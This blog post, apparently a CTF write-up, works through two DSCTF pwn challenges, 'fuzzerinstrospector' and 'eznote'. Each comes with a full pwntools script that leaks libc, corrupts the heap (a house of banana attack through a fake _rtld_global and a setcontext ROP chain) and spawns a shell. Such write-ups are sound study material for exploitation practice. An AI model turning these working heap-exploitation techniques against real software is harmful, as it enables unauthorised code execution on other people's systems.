0%

DSCTF

DSCTF 部分pwn题复现

fuzzerinstrospector

输入6的时候有个带参数的函数调用,参数固定为为heap[0],函数地址用户输入,所以只需要给heap[0]输入/bin/sh,然后输入system的地址即可getshell,这题的难点在于增加堆块时需要输入内容,这将使我们泄露libc时会把fd指针覆盖导致泄露失败

这里又学到一个新知识,scanf输入+时会读入失败,所以我们只需要写入+就不会覆盖掉fd指针了

释放一个unsorted bin中的堆块和相邻堆块合并放入top chunk,这时top chunk中将会有残留指针,再malloc出来就能泄露libc了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *
banary = "./pwn"
elf = ELF(banary)
ip = '1.14.71.254'
port = 28834
local = 1
if local:
io = process(banary)
else:
io = remote(ip, port)

context.log_level = "debug"

def debug():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()
_flags = 0xfbad1800

def add(idx, con):
sla(b': ', b'1')
sla(b': ', str(idx))
for i in range(8):
sla(b"Index: " + str(i).encode() + b': ', b'+')
sa(b"Bitmap: ", con)

def edit(idx, payload, con):
sla(b': ', b'2')
sla(b': ', str(idx))
for i in range(8):
sla(b"Index: " + str(i).encode() + b': ', str(payload[i]).encode())
sa(b"Bitmap: ", con)

def show(idx):
sla(b': ', b'3')
sla(b': ', str(idx))

def delete(idx):
sla(b': ', b'4')
sla(b': ', str(idx))

m = b''
for i in range(0x100):
m += i.to_bytes(1, 'little')

for i in range(9):
add(i, b'a' * 0x100)

for i in range(9):
delete(i)

for i in range(7):
add(i, b'a' * 0x100)

add(7, m)

show(7)

fd = ''
for i in range(8):
ru(b'Bit: ')
fd += chr(int(io.recvuntil(b'\n', drop=True), 10))

libcbase = u64(fd) - 0x3ebca0
print(hex(libcbase))
sys_addr = libcbase + 0x4f420


edit(0, b'/bin/sh\x00', m)

sla(b': ', b'6')
sl(str(sys_addr))
ia()

eznote

vKnezD.jpg

程序一开始分配了0xa8大小的堆块来管理8个chunk的size,地址,内容的长度,这就导致了申请最后一个chunk时保存的size会把第一个chunk的size覆盖掉,这样就能打堆重叠了,然后再用house of banana getshell即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
from pwn import *
banary = "./pwn"
elf = ELF(banary)
libc = ELF("./libc.so.6")
ip = '43.142.31.245'
port = 28107
local = 1
if local:
io = process(banary)
else:
io = remote(ip, port)

context.log_level = "debug"

def debug():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()
_flags = 0xfbad1800

def add(size, con = b'aaaa'):
sla(b'> ', b'1')
sla(b': ', str(size))
sla(b': ', con)

def delete(idx):
sla(b'> ', b'2')
sla(b': ', str(idx))

def edit(idx, con):
sla(b'> ', b'3')
sla(b': ', str(idx))
sla(b'Content: ', con)

def show(idx):
sla(b'> ', b'4')
sla(b': ', str(idx))

add(0x430, b'Leof') #0
add(0x408, b'Leof') #1
add(0x440, b'Leof') #2
add(0x430, b'Leof') #3
add(0x430, b'Leof') #4
add(0x430, b'Leof') #5
add(0x430, b'Leof') #6
add(0xca1, b'Leof') #7

delete(0)
add(0x430, b'Leof') #0
show(1)
libcbase = uu64() - 0x219ce0
print(hex(libcbase))
environ = libcbase + 0x221200

delete(3)
add(0x408, b'Leof') #heap3 && chunk1
delete(1)

show(3)
ru(b':\n')
key = u64(io.recv(5).ljust(8, b'\x00'))
print(hex(key))

add(0x440, b'Leof') #1 and 2 uaf
delete(4)
add(0x870, b'Leof') #4

delete(2)
#to large bin
add(0x1000, b'Leof') #2

rtld_global = libcbase + 0x264040
heap_addr = key << 12
payload = p64(libcbase + 0x21a0e0) * 2 + p64(0) + p64(rtld_global - 0x20)
edit(1, payload)

delete(0)
add(0x1000, b'Leof')
print(hex(rtld_global))


sys_addr = libcbase + libc.sym['system']
setcontext = libcbase + 0x53A6D #mov rsp, [rdx+0A0h]
ret = setcontext + 0x14e - 61
pop_rdi = libcbase + 0x2a3e5
sh = libcbase + libc.search(b'/bin/sh').__next__()

fake_rtld_global_addr = heap_addr + 0xb90
fake_rtld_global = p64(0) + p64(libcbase + 0x265890) + p64(0) + p64(fake_rtld_global_addr)
fake_rtld_global += p64(setcontext) + p64(ret)
fake_rtld_global += p64(sh)
fake_rtld_global += p64(ret)
fake_rtld_global += p64(sys_addr)
fake_rtld_global += b'\x00' * 0x80
fake_rtld_global += p64(fake_rtld_global_addr + 0x28 + 0x18)
fake_rtld_global += p64(pop_rdi)
fake_rtld_global += b'\x00' * (0x100 - len(fake_rtld_global))
fake_rtld_global += p64(fake_rtld_global_addr + 0x10 + 0x110) * 3
fake_rtld_global += p64(0x10)
fake_rtld_global += b'\x00' * (0x31c - 0x10 - len(fake_rtld_global))
fake_rtld_global += p8(0x8)


edit(1, fake_rtld_global)
edit(3, b'\x00' * 0x400 + p64(fake_rtld_global_addr + 0x20))
sa(b'> ', b'5')
ia()